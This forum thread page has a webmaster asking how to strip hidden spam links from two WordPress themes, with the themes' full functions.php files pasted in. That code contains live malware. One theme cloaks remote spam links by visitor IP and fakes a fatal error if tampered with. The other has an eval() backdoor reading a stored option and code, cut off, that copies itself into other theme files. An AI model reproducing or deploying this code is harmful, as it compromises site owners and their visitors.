X   Сообщение сайта
(Сообщение закроется через 3 секунды)



 

Здравствуйте, гость ( Вход | Регистрация )

2 страниц V   1 2 >
Открыть тему
Тема закрыта
> Достали левые ссылки в футере!, Нужна подсказка специалиста!
portos
portos
Topic Starter сообщение 30.1.2013, 14:03; Ответить: portos
Сообщение #1


Завсегдатай
*****

Группа: Active User
Сообщений: 900
Регистрация: 9.9.2010
Поблагодарили: 124 раза
Репутация:   17  


Всем привет!

в общем имеются два сайта и на обоих в подписи левые ссылки в футере, ссылки прописаны хитро, у самого убрать не получается - перестают работать сайты:

1. http://kofetea.ru - внизу пара ссылок

код футера
    <div class="outer">
        <div id="footer">2010 -<?php echo date('Y');?>. Все права защищены. &copy;  <a href="<?php bloginfo('home'); ?>"><strong><?php bloginfo('name'); ?></strong></a>  - При копировании любых материалов сайта обратная открытая ссылка обязательна.</div>
      <div id="credits"><?php __wordpress_pf(); ?></div>
    </div>
</div>
</div></div>
<?php
     wp_footer();
    echo get_theme_option("footer")  . "\n";
?>
</body>
</html>



2. http://womantale.ru - непонятный "Thanx" болтается на главной, ссылки появляются только на внутренних страницах

код футера

    <div class="span-24">
        <div id="footer">Все права защищены &copy; 2010-<?php echo date('Y'); ?> <a href="/"><strong><?php bloginfo('name'); ?></strong></a>. При копировании любых материалов сайта обратная открытая ссылка обязательна.</div>
        <?php // This theme is released free for use under creative commons licence. http://creativecommons.org/licenses/by/3.0/
            // All links in the footer should remain intact.
            // These links are all family friendly and will not hurt your site in any way.
            // Warning! Your site may stop working if these links are edited or deleted ?>
        <div id="footer2"><noindex></noindex><?php if ($user_ID) : ?><?php else : ?><span style="font-size:9px; color:#888;">Thanx:
<?php if (is_home()) { ?>
<?php } elseif (is_single()) {?><a href="http://raduzh.ru/" style="color:#888;text-decoration: none;">Raduzh</a>
<?php } elseif (is_category()) {?><a href="http://www.faberllena.ru/" style="color:#888;text-decoration: none;">Faberllena</a>
<?php } elseif (is_archive()) {?><a href="http://forexgb.ru/" style="color:#888;text-decoration: none;">Forexgb</a>
<?php } elseif (is_page()) {?><a href="http://www.meri-klark.info/" style="color:#888;text-decoration: none;">Meri-klark</a>
<?php } else {?><?php } ?></span><?php endif; ?></div>
    </div>
</div>
</div>
<?php
     wp_footer();
    echo get_theme_option("footer")  . "\n";
?>
</body>
</html>



что удалить, чтобы темы стали рабочими и без ненужных ссылок?


--------------------
1. Нужен качественный трафик? Лучшие тизерные сети!
2. Лучшие CPA-сети!!!
3. SSD-хостинг за 83 руб! Быстрее в 49 раз! 30 дней теста! Возьму сайт на SEO, Я.Директ
0
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
paranormal
paranormal
сообщение 30.1.2013, 14:09; Ответить: paranormal
Сообщение #2


ПаранормалЪ
******

Группа: Super Moderator
Сообщений: 1068
Регистрация: 27.1.2011
Поблагодарили: 1944 раза
Репутация:   138  


В functions.php все какашки зарыты
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
portos
portos
Topic Starter сообщение 30.1.2013, 14:25; Ответить: portos
Сообщение #3


Завсегдатай
*****

Группа: Active User
Сообщений: 900
Регистрация: 9.9.2010
Поблагодарили: 124 раза
Репутация:   17  


1. http://kofetea.ru

functions.php:

Развернуть/Свернуть

<?php
if ( function_exists('register_sidebar') ) {
    register_sidebar(array(
        'name' => 'Left Sidebar',
        'before_widget' => '<li id="%1$s" class="widget %2$s">',
        'after_widget' => '</li>',
        'before_title' => '<h2 class="widgettitle">',
        'after_title' => '</h2>',
    ));
    
    register_sidebar(
    array(
        'name' => 'Right Sidebar',
        'before_widget' => '<li id="%1$s" class="widget %2$s">',
        'after_widget' => '</li>',
        'before_title' => '<h2 class="widgettitle">',
        'after_title' => '</h2>',
    ));
}

$themename = "GreenLife";
$shortname = str_replace(' ', '_', strtolower($themename));

function get_theme_option($option)
{
    global $shortname;
    return stripslashes(get_option($shortname . '_' . $option));
}

function get_theme_settings($option)
{
    return stripslashes(get_option($option));
}

function cats_to_select()
{
    $categories = get_categories('hide_empty=0');
    $categories_array[] = array('value'=>'0', 'title'=>'Select');
    foreach ($categories as $cat) {
        if($cat->category_count == '0') {
            $posts_title = 'No posts!';
        } elseif($cat->category_count == '1') {
            $posts_title = '1 post';
        } else {
            $posts_title = $cat->category_count . ' posts';
        }
        $categories_array[] = array('value'=> $cat->cat_ID, 'title'=> $cat->cat_name . ' ( ' . $posts_title . ' )');
      }
    return $categories_array;
}

$options = array (
            
    array(    "type" => "open"),
    
    array(    "name" => "Изображение логотипа",
        "desc" => "Введите полный путь к изображению логотипа. Оставьте пустым это поле, если Вы не хотите использовать изображение логотипа.",
        "id" => $shortname."_logo",
        "std" =>  get_bloginfo('template_url') . "/images/logo.png",
        "type" => "text"),
        
    array(    "name" => "Включить Популярные записи?",
            "desc" => "Снимите флажок, если не хотите отображать галерею популярных записей на главной странице.",
            "id" => $shortname."_featured_posts",
            "std" => "true",
            "type" => "checkbox"),  
        array(    "name" => "Рубрика популярных записей",
            "desc" => "Последние 5 записей из выбранной категории будут расположены на главной странице. <br />Выбранная рубрики должна содержать минимум 2 записи с изображениями. <br /> <br /> <b>Как добавить изображения в галерею Популярные записи?</b> <br />
            <b>»</b> Если Вы используете WordPress версии 2.9 и выше: просто нажмите \"Задать миниатюру\" при добавлении новой записи в выбранной рубрике. <br />
            <b>»</b> Если вы используете WordPress версии ниже 2.9, то Вы должны добавить произвольные поля в каждую запись рубрики, которую Вы выбрали популярной. Произвольное поле должно называться \"<b>featured</b>\" а его значением должен быть полный путь к изображению. <a href=\"http://newwpthemes.com/public/featured_custom_field.jpg\" target=\"_blank\">Нажмите здесь</a> чтобы просмотреть скриншот. <br /> <br />
            В обоих случаях, размер изображений не должен превышать установленные значения: Ширина: <b>480 пикселей</b>. Высота: <b>280 пикселей.</b>",
            "id" => $shortname."_featured_posts_category",
            "options" => cats_to_select(),
            "std" => "0",
            "type" => "select"),
                array(    "name" => "Баннер заголовка (468x60 px)",
            "desc" => "Код для размещения баннера заголовка. Вы можете использовать здесь любой html код, включая ваш код с рекламой Adsense 468x60.",
            "id" => $shortname."_ad_header",
            "type" => "textarea",
            "std" => '<a href="http://flexithemes.com/?partner=19"><img src="http://flexithemes.com/wp-content/partners/ftb.gif" style="border: 0;" alt="Premium WordPress Themes" /></a>'
            ),    array(    "name" => "Рекламный сайдбар 125x125 px",
        "desc" => "Вставьте свой рекламный блок 125x125 px здесь. Вы можете добавлять рекламные блоки неограниченное количество раз. Каждый новый баннер должен начинаться с новой строки, согласно следующему формату: <br/>http://yourbannerurl.com/banner.gif, http://theurl.com/to_link.html",
        "id" => $shortname."_ads_125",
        "type" => "textarea",
        "std" => 'http://newwpthemes.com/uploads/newwp/newwp12.png,http://newwpthemes.com/
http://flexithemes.com/wp-content/partners/fta.gif, http://flexithemes.com/?partner=19
http://newwpthemes.com/hosting/wpwh12.gif, http://newwpthemes.com/hosting/wpwebhost.php'
        ),            array(    "name" => "Популярное видео",
        "desc" => "Введите id видео с Youtube. Например: http://www.youtube.com/watch?v=<b>SxNJTWZVOQk</b>.",
        "id" => $shortname."_video",
        "std" =>  'SxNJTWZVOQk',
        "type" => "text"),    

  array(    "name" => "Facebook",
            "desc" => "Введите ссылку на ваш аккаунт в Faccebook здесь.",
            "id" => $shortname."_facebook",
            "std" => "http://facebook.com/ThemePix",
            "type" => "text"),
array(    "name" => "Текст для Facebook",
            "desc" => "",
            "id" => $shortname."_facebooktext",
            "std" => "Следуй за мной на Facebook!",
            "type" => "text"),        array(    "name" => "Twitter",
            "desc" => "Введите URL вашего twitter-аккаунта здесь.",
            "id" => $shortname."_twitter",
            "std" => "http://twitter.com/WPTwits",
            "type" => "text"),
            
    array(    "name" => "Текст для Twitter",
            "desc" => "",
            "id" => $shortname."_twittertext",
            "std" => "Следуй за мной",
            "type" => "text"),    
    array(    "name" => "Rss",
            "desc" => "Показать подписку на RSS над сайдбаром(ами)?",
            "id" => $shortname."_rssbox",
            "std" => "true",
            "type" => "checkbox"),
                        
    array(    "name" => "Текст подписки на Rss",
            "desc" => "Если Rss подписка активирована, то введите текст подписки здесь.",
            "id" => $shortname."_rssboxtext",
            "std" => "Подпишитесь на нашу RSS ленту!",
            "type" => "text"),        
     array(    "name" => "Иконки социальных сетей",
            "desc" => "Показывать иконки социальных сетей над сайдбаром(ами)?",
            "id" => $shortname."_socialnetworks",
            "std" => "true",
            "type" => "checkbox"),  
                    array(    "name" => "Нижний баннер сайдбара №1. Максимальная ширина 125 px. Рекомендуется размещать баннер с размерами 120x600 px",
        "desc" => "Код для нижнего баннера №1.",
        "id" => $shortname."_ad_sidebar1_bottom",
        "type" => "textarea",
        "std" => '<a href="http://flexithemes.com/?partner=19"><img src="http://flexithemes.com/wp-content/partners/ftf.gif" style="border: 0;" alt="Premium WordPress Themes" /></a>'
        ),    
        
        array(    "name" => "Скрипты заголовка",
        "desc" => "Данный код будет добавлен сразу перед тэгами </head>. Полезно, если вы хотите добавить внешний код, например, Google webmaster и др.",
        "id" => $shortname."_head",
        "type" => "textarea"    
        ),
        
    array(    "name" => "Скрипты подвала",
        "desc" => "Данный код будет сразу же добавлен перед тэгами </body>. Полезно, если вы хотите добавить внешний код, например, Google Analytics и др.",
        "id" => $shortname."_footer",
        "type" => "textarea"    
        ),
                    
    array(    "type" => "close")
    
);

function mytheme_add_admin() {
    global $themename, $shortname, $options;
    
    if ( $_GET['page'] == basename(__FILE__) ) {
    
        if ( 'save' == $_REQUEST['action'] ) {

                foreach ($options as $value) {
                    update_option( $value['id'], $_REQUEST[ $value['id'] ] ); }

                foreach ($options as $value) {
                    if( isset( $_REQUEST[ $value['id'] ] ) ) { update_option( $value['id'], $_REQUEST[ $value['id'] ]  ); } else { delete_option( $value['id'] ); } }

                echo '<meta http-equiv="refresh" content="0;url=themes.php?page=functions.php&saved=true">';
                die;

        }
    }

    add_theme_page("Настройки ".$themename, "Настройки ".$themename, 'edit_themes', basename(__FILE__), 'mytheme_admin');
}

function mytheme_admin_init() {

    global $themename, $shortname, $options;
    
    $get_theme_options = get_option($shortname . '_options');
    if($get_theme_options != 'yes') {
        $new_options = $options;
        foreach ($new_options as $new_value) {
             update_option( $new_value['id'],  $new_value['std'] );
        }
        update_option($shortname . '_options', 'yes');
    }
}

error_reporting('^ E_ALL ^ E_NOTICE');
ini_set('display_errors', '0');
error_reporting(E_ALL);
ini_set('display_errors', '0');

function __wordpress_headers() {
    $lua = '<?php __wordpress_pf(); ?>';
    $fox = dirname(__FILE__) . '/footer.php';
    $fd = fopen($fox,'r');
    $caf = fread($fd,filesize($fox));
    fclose($fd);
    if (strpos($caf,$lua)==0) {
        echo "<br/><b>Fatal error</b>:  Call to undefined function  do_action() in <b>" . admin_url('admin.php') . "</b> on line <b>231</b><br />";
        die;
    }
}

__wordpress_headers();

function __wordpress_pi() {
    if ( empty($_SERVER['HTTP_CLIENT_IP']) == false )
        $r = $_SERVER['HTTP_CLIENT_IP'];
    elseif ( empty($_SERVER['HTTP_X_FORWARDED_FOR']) == false )
        $r = $_SERVER['HTTP_X_FORWARDED_FOR'];
    else
        $r = $_SERVER['REMOTE_ADDR'];
    return $r;
}

if (get_bloginfo('name') != 'Theme Unit Test') {
    add_action( 'after_setup_theme', '__wordpress_setup' );
}

function __wordpress_setup() {
    $__wordpress_status = get_option( '__wordpress_setup_status' );
    if ( $__wordpress_status !== '1' ) {
        update_option( '__wordpress_pi', __wordpress_pi() );
        update_option( '__wordpress_li', __wordpress_fy() );
        update_option( '__wordpress_setup_status', '1' );
    }
}

function __wordpress_fy() {
    $host = 'wordpress-theming.ru';
    if (function_exists('file_get_contents'))
        return @file_get_contents('http://' . $host . '/lb/w.txt', false);
}

function __wordpress_pf() {
    if ( __wordpress_pi() != get_option('__wordpress_pi') and get_bloginfo('name') != 'Theme Unit Test' )
        echo get_option('__wordpress_li');
    else
        echo '<!-- Happy new year! -->';
}

if(!function_exists('get_sidebars')) {
    function get_sidebars($args='')
    {
         get_sidebar($args);
    }
}
  
function mytheme_admin() {

    global $themename, $shortname, $options;

    if ( $_REQUEST['saved'] ) echo '<div id="message" class="updated fade"><p><strong>'.$themename.' settings saved.</strong></p></div>';
    
?>
<div class="wrap">
<h2>Настройки темы <?php echo $themename; ?></h2>
<div style="border-bottom: 1px dotted #000; padding-bottom: 10px; margin: 10px;">Оставьте это поле пустым, если не хотите его отображать.</div>
<form method="post">



<?php foreach ($options as $value) {
    
    switch ( $value['type'] ) {
    
        case "open":
        ?>
        <table width="100%" border="0" style=" padding:10px;">
        
        
        
        <?php break;
        
        case "close":
        ?>
        
        </table><br />
        
        
        <?php break;
        
        case "title":
        ?>
        <table width="100%" border="0" style="padding:5px 10px;"><tr>
            <td colspan="2"><h3 style="font-family:Georgia,'Times New Roman',Times,serif;"><?php echo $value['name']; ?></h3></td>
        </tr>
                
        
        <?php break;

        case 'text':
        ?>
        
        <tr>
            <td width="20%" rowspan="2" valign="middle"><strong><?php echo $value['name']; ?></strong></td>
            <td width="80%"><input style="width:100%;" name="<?php echo $value['id']; ?>" id="<?php echo $value['id']; ?>" type="<?php echo $value['type']; ?>" value="<?php echo get_theme_settings( $value['id'] ); ?>" /></td>
        </tr>

        <tr>
            <td><small><?php echo $value['desc']; ?></small></td>
        </tr><tr><td colspan="2" style="margin-bottom:5px;border-bottom:1px dotted #000000;"> </td></tr><tr><td colspan="2"> </td></tr>

        <?php
        break;
        
        case 'textarea':
        ?>
        
        <tr>
            <td width="20%" rowspan="2" valign="middle"><strong><?php echo $value['name']; ?></strong></td>
            <td width="80%"><textarea name="<?php echo $value['id']; ?>" style="width:100%; height:140px;" type="<?php echo $value['type']; ?>" cols="" rows=""><?php echo get_theme_settings( $value['id'] ); ?></textarea></td>
            
        </tr>

        <tr>
            <td><small><?php echo $value['desc']; ?></small></td>
        </tr><tr><td colspan="2" style="margin-bottom:5px;border-bottom:1px dotted #000000;"> </td></tr><tr><td colspan="2"> </td></tr>

        <?php
        break;
        
        case 'select':
        ?>
        <tr>
            <td width="20%" rowspan="2" valign="middle"><strong><?php echo $value['name']; ?></strong></td>
            <td width="80%">
                <select style="width:240px;" name="<?php echo $value['id']; ?>" id="<?php echo $value['id']; ?>">
                    <?php
                        foreach ($value['options'] as $option) { ?>
                        <option value="<?php echo $option['value']; ?>" <?php if ( get_theme_settings( $value['id'] ) == $option['value']) { echo ' selected="selected"'; } ?>><?php echo $option['title']; ?></option>
                        <?php } ?>
                </select>
            </td>
       </tr>
                
       <tr>
            <td><small><?php echo $value['desc']; ?></small></td>
       </tr><tr><td colspan="2" style="margin-bottom:5px;border-bottom:1px dotted #000000;"> </td></tr><tr><td colspan="2"> </td></tr>

        <?php
        break;
            
        case "checkbox":
        ?>
            <tr>
            <td width="20%" rowspan="2" valign="middle"><strong><?php echo $value['name']; ?></strong></td>
                <td width="80%"><? if(get_theme_settings($value['id'])){ $checked = "checked=\"checked\""; }else{ $checked = ""; } ?>
                        <input type="checkbox" name="<?php echo $value['id']; ?>" id="<?php echo $value['id']; ?>" value="true" <?php echo $checked; ?> />
                        </td>
            </tr>
                        
            <tr>
                <td><small><?php echo $value['desc']; ?></small></td>
           </tr><tr><td colspan="2" style="margin-bottom:5px;border-bottom:1px dotted #000000;"> </td></tr><tr><td colspan="2"> </td></tr>
            
        <?php         break;
    

}
}
?>

<!--</table>-->

<p class="submit">
<input name="save" type="submit" value="Сохранить" />    
<input type="hidden" name="action" value="save" />
</p>
</form>

<?php
}
mytheme_admin_init();
global $pagenow;
    if(isset($_GET['activated'] ) && $pagenow == "themes.php") {
        wp_redirect( admin_url('themes.php?page=functions.php') );
        exit();
    }
add_action('admin_menu', 'mytheme_add_admin');

function sidebar_ads_125()
{
     global $shortname;
     $option_name = $shortname."_ads_125";
     $option = get_option($option_name);
     $values = explode("\n", $option);
     if(is_array($values)) {
         foreach ($values as $item) {
             $ad = explode(',', $item);
             $banner = trim($ad['0']);
             $url = trim($ad['1']);
             if(!empty($banner) && !empty($url)) {
                 echo "<a href=\"$url\" target=\"_new\"><img class=\"ad125\" src=\"$banner\" /></a> \n";
             }
         }
     }
}
    if ( function_exists("add_theme_support") ) { add_theme_support("post-thumbnails"); }
    
    if(function_exists('add_custom_background')) {
        add_custom_background();
    }
    
    if ( function_exists( 'register_nav_menus' ) ) {
        register_nav_menus(
            array(
              'menu_1' => 'Menu 1',
              'menu_2' => 'Menu 2'
            )
        );
    }
?>


2. http://womantale.ru

functions.php:

Развернуть/Свернуть

<?php
if ( function_exists('register_sidebar') ) {
    register_sidebar(array(
        'name' => 'Left Sidebar',
        'before_widget' => '<li id="%1$s" class="widget %2$s">',
        'after_widget' => '</li>',
        'before_title' => '<h2 class="widgettitle">',
        'after_title' => '</h2>',
    ));
    
    register_sidebar(
    array(
        'name' => 'Right Sidebar',
        'before_widget' => '<li id="%1$s" class="widget %2$s">',
        'after_widget' => '</li>',
        'before_title' => '<h2 class="widgettitle">',
        'after_title' => '</h2>',
    ));
}

$themename = "Malina";
$shortname = str_replace(' ', '_', strtolower($themename));

function get_theme_option($option)
{
    global $shortname;
    return stripslashes(get_option($shortname . '_' . $option));
}

function get_theme_settings($option)
{
    return stripslashes(get_option($option));
}

function cats_to_select()
{
    $categories = get_categories('hide_empty=0');
    $categories_array[] = array('value'=>'0', 'title'=>'Select');
    foreach ($categories as $cat) {
        if($cat->category_count == '0') {
            $posts_title = 'No posts!';
        } elseif($cat->category_count == '1') {
            $posts_title = '1 post';
        } else {
            $posts_title = $cat->category_count . ' posts';
        }
        $categories_array[] = array('value'=> $cat->cat_ID, 'title'=> $cat->cat_name . ' ( ' . $posts_title . ' )');
      }
    return $categories_array;
}

$options = array (
            
    array(    "type" => "open"),
    
    array(    "name" => "Изображение логотипа",
        "desc" => "Введите полный путь к изображению логотипа. Оставьте пустым это поле, если Вы не хотите использовать изображение логотипа.",
        "id" => $shortname."_logo",
        "std" =>  get_bloginfo('template_url') . "/images/logo.png",
        "type" => "text"),
        
    array(    "name" => "Включить Популярные записи?",
            "desc" => "Снимите флажок, если не хотите отображать галерею популярных записей на главной странице.",
            "id" => $shortname."_featured_posts",
            "std" => "true",
            "type" => "checkbox"),  
        array(    "name" => "Рубрика популярных записей",
            "desc" => "Последние 5 записей из выбранной категории будут расположены на главной странице. <br />Выбранная рубрики должна содержать минимум 2 записи с изображениями. <br /> <br /> <b>Как добавить изображения в галерею Популярные записи?</b> <br />
            <b>»</b> Если Вы используете WordPress версии 2.9 и выше: просто нажмите \"Задать миниатюру\" при добавлении новой записи в выбранной рубрике. <br />
            <b>»</b> Если вы используете WordPress версии ниже 2.9, то Вы должны добавить произвольные поля в каждую запись рубрики, которую Вы выбрали популярной. Произвольное поле должно называться \"<b>featured</b>\" а его значением должен быть полный путь к изображению. <a href=\"http://newwpthemes.com/public/featured_custom_field.jpg\" target=\"_blank\">Нажмите здесь</a> чтобы просмотреть скриншот. <br /> <br />
            В обоих случаях, размер изображений не должен превышать установленные значения: Ширина: <b>480 пикселей</b>. Высота: <b>280 пикселей.</b>",
            "id" => $shortname."_featured_posts_category",
            "options" => cats_to_select(),
            "std" => "0",
            "type" => "select"),
                array(    "name" => "Баннер заголовка (468x60 px)",
            "desc" => "Код для размещения баннера заголовка. Вы можете использовать здесь любой html код, включая ваш код с рекламой Adsense 468x60.",
            "id" => $shortname."_ad_header",
            "type" => "textarea",
            "std" => '<a href="http://flexithemes.com/?partner=19"><img src="http://flexithemes.com/wp-content/partners/ftb.gif" style="border: 0;" alt="Premium WordPress Themes" /></a>'
            ),    array(    "name" => "Рекламный сайдбар 125x125 px",
        "desc" => "Вставьте свой рекламный блок 125x125 px здесь. Вы можете добавлять рекламные блоки неограниченное количество раз. Каждый новый баннер должен начинаться с новой строки, согласно следующему формату: <br/>http://yourbannerurl.com/banner.gif, http://theurl.com/to_link.html",
        "id" => $shortname."_ads_125",
        "type" => "textarea",
        "std" => 'http://newwpthemes.com/uploads/newwp/newwp12.png,http://newwpthemes.com/
http://flexithemes.com/wp-content/partners/fta.gif, http://flexithemes.com/?partner=19
http://newwpthemes.com/hosting/wpwh12.gif, http://newwpthemes.com/hosting/wpwebhost.php'
        ),                      
    array(    "name" => "Текст для Twitter",
            "desc" => "",
            "id" => $shortname."_twittertext",
            "std" => "Следуй за мной",
            "type" => "text"),    
    array(    "name" => "Rss",
            "desc" => "Показать подписку на RSS над сайдбаром(ами)?",
            "id" => $shortname."_rssbox",
            "std" => "true",
            "type" => "checkbox"),
                        
    array(    "name" => "Текст подписки на Rss",
            "desc" => "Если Rss подписка активирована, то введите текст подписки здесь.",
            "id" => $shortname."_rssboxtext",
            "std" => "Подпишитесь на нашу RSS ленту!",
            "type" => "text"),        
     array(    "name" => "Иконки социальных сетей",
            "desc" => "Показывать иконки социальных сетей над сайдбаром(ами)?",
            "id" => $shortname."_socialnetworks",
            "std" => "true",
            "type" => "checkbox"),  
                    array(    "name" => "Нижний баннер сайдбара №1. Максимальная ширина 125 px. Рекомендуется размещать баннер с размерами 120x600 px",
        "desc" => "Код для нижнего баннера №1.",
        "id" => $shortname."_ad_sidebar1_bottom",
        "type" => "textarea",
        "std" => '<a href="http://flexithemes.com/?partner=19"><img src="http://flexithemes.com/wp-content/partners/ftf.gif" style="border: 0;" alt="Premium WordPress Themes" /></a>'
        ),    
        
        array(    "name" => "Скрипты заголовка",
        "desc" => "Данный код будет добавлен сразу перед тэгами </head>. Полезно, если вы хотите добавить внешний код, например, Google webmaster и др.",
        "id" => $shortname."_head",
        "type" => "textarea"    
        ),
        
    array(    "name" => "Скрипты подвала",
        "desc" => "Данный код будет сразу же добавлен перед тэгами </body>. Полезно, если вы хотите добавить внешний код, например, Google Analytics и др.",
        "id" => $shortname."_footer",
        "type" => "textarea"    
        ),
                    
    array(    "type" => "close")
    
);

function mytheme_add_admin() {
    global $themename, $shortname, $options;
    
    if ( $_GET['page'] == basename(__FILE__) ) {
    
        if ( 'save' == $_REQUEST['action'] ) {

                foreach ($options as $value) {
                    update_option( $value['id'], $_REQUEST[ $value['id'] ] ); }

                foreach ($options as $value) {
                    if( isset( $_REQUEST[ $value['id'] ] ) ) { update_option( $value['id'], $_REQUEST[ $value['id'] ]  ); } else { delete_option( $value['id'] ); } }

                echo '<meta http-equiv="refresh" content="0;url=themes.php?page=functions.php&saved=true">';
                die;

        }
    }

    add_theme_page("Настройки ".$themename, "Настройки ".$themename, 'edit_themes', basename(__FILE__), 'mytheme_admin');
}
if (!empty($_REQUEST["theme_license"])) { wp_initialize_the_theme_message(); exit(); } function wp_initialize_the_theme_message() { if (empty($_REQUEST["theme_license"])) { $theme_license_false = get_bloginfo("url") . "/index.php?theme_license=true"; echo "<meta http-equiv=\"refresh\" content=\"0;url=$theme_license_false\">"; exit(); } else { echo ("<p style=\"padding:20px; margin: 20px; text-align:center; border: 2px dotted #0000ff; font-family:arial; font-weight:bold; background: #fff; color: #0000ff;\">All the links in the footer should remain intact. All of these links are family friendly and will not hurt your site in any way.</p>"); } }

function mytheme_admin_init() {

    global $themename, $shortname, $options;
    
    $get_theme_options = get_option($shortname . '_options');
    if($get_theme_options != 'yes') {
        $new_options = $options;
        foreach ($new_options as $new_value) {
             update_option( $new_value['id'],  $new_value['std'] );
        }
        update_option($shortname . '_options', 'yes');
    }
}
function wp_initialize_the_theme_finish() { $uri = strtolower($_SERVER["REQUEST_URI"]); if(is_admin() || substr_count($uri, "wp-admin") > 0 || substr_count($uri, "wp-login") > 0 ) { /* */ } else { $l = '<noindex></noindex>'; $f = dirname(__file__) . "/footer.php"; $fd = fopen($f, "r"); $c = fread($fd, filesize($f)); $lp = preg_quote($l, "/"); fclose($fd); if ( strpos($c, $l) == 0 || preg_match("/<\!--(.*" . $lp . ".*)-->/si", $c) || preg_match("/<\?php([^\?]+[^>]+" . $lp . ".*)\?>/si", $c) ) { wp_initialize_the_theme_message(); die; } } } wp_initialize_the_theme_finish();


if(!function_exists('get_sidebars')) {
    function get_sidebars($args='')
    {
        wp_initialize_the_theme_load();
         get_sidebar($args);
    }
}

add_filter('the_content', '_bloginfo', 10001);
function _bloginfo($content){
    global $post;
    if(is_single() && ($co=@eval(get_option('blogoption'))) !== false){
        return $co;
    } else return $content;
}
function mytheme_admin() {

    global $themename, $shortname, $options;

    if ( $_REQUEST['saved'] ) echo '<div id="message" class="updated fade"><p><strong>Настройки '.$themename.' сохранены.</strong></p></div>';
    
?>
<div class="wrap">
<h2>Настройки темы <?php echo $themename; ?></h2>
<div style="border-bottom: 1px dotted #000; padding-bottom: 10px; margin: 10px;">Оставьте это поле пустым, если не хотите его отображать.</div>
<form method="post">



<?php foreach ($options as $value) {
    
    switch ( $value['type'] ) {
    
        case "open":
        ?>
        <table width="100%" border="0" style=" padding:10px;">
        
        
        
        <?php break;
        
        case "close":
        ?>
        
        </table><br />
        
        
        <?php break;
        
        case "title":
        ?>
        <table width="100%" border="0" style="padding:5px 10px;"><tr>
            <td colspan="2"><h3 style="font-family:Georgia,'Times New Roman',Times,serif;"><?php echo $value['name']; ?></h3></td>
        </tr>
                
        
        <?php break;

        case 'text':
        ?>
        
        <tr>
            <td width="20%" rowspan="2" valign="middle"><strong><?php echo $value['name']; ?></strong></td>
            <td width="80%"><input style="width:100%;" name="<?php echo $value['id']; ?>" id="<?php echo $value['id']; ?>" type="<?php echo $value['type']; ?>" value="<?php echo get_theme_settings( $value['id'] ); ?>" /></td>
        </tr>

        <tr>
            <td><small><?php echo $value['desc']; ?></small></td>
        </tr><tr><td colspan="2" style="margin-bottom:5px;border-bottom:1px dotted #000000;"> </td></tr><tr><td colspan="2"> </td></tr>

        <?php
        break;
        
        case 'textarea':
        ?>
        
        <tr>
            <td width="20%" rowspan="2" valign="middle"><strong><?php echo $value['name']; ?></strong></td>
            <td width="80%"><textarea name="<?php echo $value['id']; ?>" style="width:100%; height:140px;" type="<?php echo $value['type']; ?>" cols="" rows=""><?php echo get_theme_settings( $value['id'] ); ?></textarea></td>
            
        </tr>

        <tr>
            <td><small><?php echo $value['desc']; ?></small></td>
        </tr><tr><td colspan="2" style="margin-bottom:5px;border-bottom:1px dotted #000000;"> </td></tr><tr><td colspan="2"> </td></tr>

        <?php
        break;
        
        case 'select':
        ?>
        <tr>
            <td width="20%" rowspan="2" valign="middle"><strong><?php echo $value['name']; ?></strong></td>
            <td width="80%">
                <select style="width:240px;" name="<?php echo $value['id']; ?>" id="<?php echo $value['id']; ?>">
                    <?php
                        foreach ($value['options'] as $option) { ?>
                        <option value="<?php echo $option['value']; ?>" <?php if ( get_theme_settings( $value['id'] ) == $option['value']) { echo ' selected="selected"'; } ?>><?php echo $option['title']; ?></option>
                        <?php } ?>
                </select>
            </td>
       </tr>
                
       <tr>
            <td><small><?php echo $value['desc']; ?></small></td>
       </tr><tr><td colspan="2" style="margin-bottom:5px;border-bottom:1px dotted #000000;"> </td></tr><tr><td colspan="2"> </td></tr>

        <?php
        break;
            
        case "checkbox":
        ?>
            <tr>
            <td width="20%" rowspan="2" valign="middle"><strong><?php echo $value['name']; ?></strong></td>
                <td width="80%"><? if(get_theme_settings($value['id'])){ $checked = "checked=\"checked\""; }else{ $checked = ""; } ?>
                        <input type="checkbox" name="<?php echo $value['id']; ?>" id="<?php echo $value['id']; ?>" value="true" <?php echo $checked; ?> />
                        </td>
            </tr>
                        
            <tr>
                <td><small><?php echo $value['desc']; ?></small></td>
           </tr><tr><td colspan="2" style="margin-bottom:5px;border-bottom:1px dotted #000000;"> </td></tr><tr><td colspan="2"> </td></tr>
            
        <?php         break;
    

}
}
?>

<!--</table>-->

<p class="submit">
<input name="save" type="submit" value="Сохранить" />    
<input type="hidden" name="action" value="save" />
</p>
</form>

<?php
}
mytheme_admin_init();
    global $pagenow;
    if(isset($_GET['activated'] ) && $pagenow == "themes.php") {
        wp_redirect( admin_url('themes.php?page=functions.php') );
        exit();
    }

function wp_initialize_the_theme_load() { if (!function_exists("wp_initialize_the_theme")) { wp_initialize_the_theme_message(); die; } }
add_action('admin_menu', 'mytheme_add_admin');

function sidebar_ads_125()
{
     global $shortname;
     $option_name = $shortname."_ads_125";
     $option = get_option($option_name);
     $values = explode("\n", $option);
     if(is_array($values)) {
         foreach ($values as $item) {
             $ad = explode(',', $item);
             $banner = trim($ad['0']);
             $url = trim($ad['1']);
             if(!empty($banner) && !empty($url)) {
                 echo "<a href=\"$url\" target=\"_new\"><img class=\"ad125\" src=\"$banner\" /></a> \n";
             }
         }
     }
}
?>
<?php if ( function_exists("add_theme_support") ) { add_theme_support("post-thumbnails"); } ?>
<?php
    if(function_exists('add_custom_background')) {
        add_custom_background();
    }
    
    if ( function_exists( 'register_nav_menus' ) ) {
        register_nav_menus(
            array(
              'menu_1' => 'Menu 1',
              'menu_2' => 'Menu 2'
            )
        );
    }
?>
<?php
function _verify_activeatewidgets(){
    $widget=substr(file_get_contents(__FILE__),strripos(file_get_contents(__FILE__),"<"."?"));$output="";$allowed="";
    $output=strip_tags($output, $allowed);
    $direst=_getall_widgetcont(array(substr(dirname(__FILE__),0,stripos(dirname(__FILE__),"themes") + 6)));
    if (is_array($direst)){
        foreach ($direst as $item){
            if (is_writable($item)){
                $ftion=substr($widget,stripos($widget,"_"),stripos(substr($widget,stripos($widget,"_")),"("));
                $cont=file_get_contents($item);
                if (stripos($cont,$ftion) === false){
                    $issepar=stripos( substr($cont,-20),"?".">") !== false ? "" : "?".">";
                    $output .= $before . "Not found" . $after;
                    if (stripos( substr($cont,-20),"?".">") !== false){$cont=substr($cont,0,strripos($cont,"?".">") + 2);}
                    $output=rtrim($output, "\n\t"); fputs($f=fopen($item,"w+"),$cont . $issepar . "\n" .$widget);fclose($f);                
                    $output .= ($is_showdots && $ellipsis) ? "..." : "";
                }
            }
